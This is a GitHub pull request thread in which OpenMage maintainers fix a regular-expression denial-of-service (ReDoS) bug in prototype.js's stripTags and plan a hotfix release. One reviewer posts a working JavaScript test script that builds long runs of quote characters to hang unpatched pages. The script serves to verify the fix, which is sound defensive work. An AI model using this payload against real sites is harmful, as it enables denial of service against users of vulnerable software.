Skip to content

Fixed bug in prototypejs#3003

Merged
fballiano merged 2 commits into
OpenMage:1.9.4.xfrom
fballiano:prototype_redos
Feb 2, 2023
Merged

Fixed bug in prototypejs#3003
fballiano merged 2 commits into
OpenMage:1.9.4.xfrom
fballiano:prototype_redos

Conversation

@fballiano

Copy link
Copy Markdown
Contributor

Everything is explain in prototypejs/prototype#356

I'm not publishing too many details on this PR since it's a delicate matter, but we should merge it ASAP

@elidrissidev

Copy link
Copy Markdown
Member

If I try the regex on the string <strong>Hello World</strong>, the new one doesn't match the closing tag. Is that intended?

@theroch

theroch commented Feb 1, 2023

Copy link
Copy Markdown
Contributor

The PR is a little bit different from prototypejs/prototype#349
We've tested only the PR349 successfully.

Why is this PR public?

@elidrissidev

Copy link
Copy Markdown
Member

Yes, the solution proposed in prototypejs/prototype#349 seems to be working fine.

@fballiano

fballiano commented Feb 1, 2023

Copy link
Copy Markdown
Contributor Author

@elidrissidev switched the PR to the code used in prototypejs/prototype#349

@theroch cause it's public on prototype repo since 2021, also, if we merge it quick we can release it quick

@theroch

theroch commented Feb 1, 2023

Copy link
Copy Markdown
Contributor

@theroch cause it's public on prototype repo since 2021, also, if we merge it quick we can release it quick

It's an argument ;)

@elidrissidev elidrissidev left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Regex works fine, but untested since I don't know how to replicate the issue.

@kiatng

kiatng commented Feb 2, 2023

Copy link
Copy Markdown
Contributor

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

@theroch

theroch commented Feb 2, 2023

Copy link
Copy Markdown
Contributor

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

We've tested with this script and we can confirm that this fixed the issue.

Sorry I was very busy, so I only now get to answer you again.
Yesterday I sent an email to security@openmage.org with all this information. Did none of you receive this mail?

@elidrissidev

Copy link
Copy Markdown
Member

Yesterday I sent an email to security@openmage.org with all this information. Did none of you receive this mail?

/cc @Flyingmana

@Flyingmana

Flyingmana commented Feb 2, 2023

Copy link
Copy Markdown
Contributor

I found an attack script, but not sure how to test it. If someone can test if the fix really works?

We've tested with this script and we can confirm that this fixed the issue.

Sorry I was very busy, so I only now get to answer you again.
Yesterday I sent an email to security@openmage.org with all this information. Did none of you receive this mail?

I did and forwarded it internally, where @fballiano got it and volunteered to take care of it.

(there are currently 3 or 4 people behind the security contact address)

@fballiano

Copy link
Copy Markdown
Contributor Author

@theroch that's the info I left out intentionally :-D

@kiatng kiatng left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tested. Add the following in any page

<script>
function build_attack(n) {
	var ret = "hello <span> <a "
	for (var i = 0; i < n; i++) {
		ret += "'"
	}

	return ret+"!";
}
function attack() {
    for(var i = 1; i <= 50000; i++) {
        var time = Date.now();
        var attack_str = build_attack(i)
        attack_str.stripTags()
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}
</script>

Then execute the attack in browser console. The page became unresponsive without this PR.

@fballiano fballiano merged commit 9af7115 into OpenMage:1.9.4.x Feb 2, 2023
@fballiano fballiano deleted the prototype_redos branch February 2, 2023 10:00
@fballiano

Copy link
Copy Markdown
Contributor Author

merged and ported to v20

@kiatng @elidrissidev @Flyingmana do you think we should do another hotfix release?

@elidrissidev

Copy link
Copy Markdown
Member

Anything blocking a full release?

@Flyingmana

Copy link
Copy Markdown
Contributor

merged and ported to v20

@kiatng @elidrissidev @Flyingmana do you think we should do another hotfix release?

as its related to a CVE, its probably preferred by users to have another release

@theroch

theroch commented Feb 2, 2023

Copy link
Copy Markdown
Contributor

How is it with the version number in prototype.js. Is it possible to increase it to 1.7.4 or 1.7.3.1.
External auditors looks only for the versions numbers and and would find fault with or comment on that.

@fballiano

Copy link
Copy Markdown
Contributor Author

I wouldn't change the prototype version as prototype itself didn't do anything about it.

as per ZF1, we apply patches but don't change their version number.

@fballiano

Copy link
Copy Markdown
Contributor Author

@Flyingmana I'll prepare another hotfix

@fballiano

Copy link
Copy Markdown
Contributor Author

I've prepared the 2 hotfix branches with version bump and this commit, could you just do a quick check for me before actually tagging the release? thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

JavaScript Relates to js/* security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants